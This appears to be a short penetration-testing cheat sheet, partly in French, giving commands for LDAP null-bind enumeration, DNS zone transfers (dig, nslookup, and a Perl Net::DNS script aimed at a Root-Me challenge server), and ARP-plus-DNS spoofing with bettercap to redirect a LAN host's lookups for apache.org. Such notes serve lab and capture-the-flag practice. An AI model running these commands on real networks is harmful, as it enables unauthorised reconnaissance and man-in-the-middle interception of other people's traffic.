LDAP & DNS

LDAP Null Bind Enumeration

# Syntax
ldapsearch -h "LENOMDELAMACHINELDAP" -p "LEPORTSURLEQUELONYACCEDE" -x -b "ou=UNE_OU_EXISTANTE,DC=QUIVABIEN,DC=SUITE,DC=FOO" -v

DNS Zone Transfer

# Zone transfer using dig
dig @<ns> -p 54011 AXFR <host>


# Zone transfer using nslookup
nslookup -type=any
> set port <port>
> server <ns>   
> <host>
# Custom PERL zone transfer
#!/usr/bin/env perl

use warnings;
use strict;

use Net::DNS;

# ici je teste rapidement si j'ai bien installe le module Net::DNS
print Net::DNS->version, "\n";

# creation de l'instance du resolveur maison. 
# on lui indique le dns sur lequel nous allons agir
# comme explique dans la description du challenge
# nous indiquons aussi que nous voulons avoir des infos 
# de deboggage et sans recursion.
my $monResolveur = Net::DNS::Resolver->new(
        nameservers => [qw(challenge01.root-me.org)],
        recurse => 0,
        debug => 1,
        port => 54011);

# test du transfert de zone avec les infos exposees dans
# l'enonce.
my @maZone = $monResolveur->axfr("ch11.challenge01.root-me.org");

# si tout s'est bien deroule, on affiche les valeurs attendues comme avec dig ou host.
if (@maZone) {
        foreach my $rr (@maZone) {
                $rr->print;
        }
}

DNS Spoofing

# Using bettercap
# In a local network, you can DNS queries using ARP spoofing

# Activate router mode on attacker machine
echo 1 > /proc/sys/net/ipv4/ip_forward

# Show machines in the LAN
> net.show

# Set target for ARP spoofing
> set arp.spoof.targets 192.168.5.99

# Launch attack
> arp.spoof on

# Set domain to spoof, spoof.all allow to also consider external requests and not only local ones
> set dns.spoof.domains apache.org
> set dns.spoof.all true
> dns.spoof on

# You can then create a local web server
> set http.server.path /var/www/html
> http.server on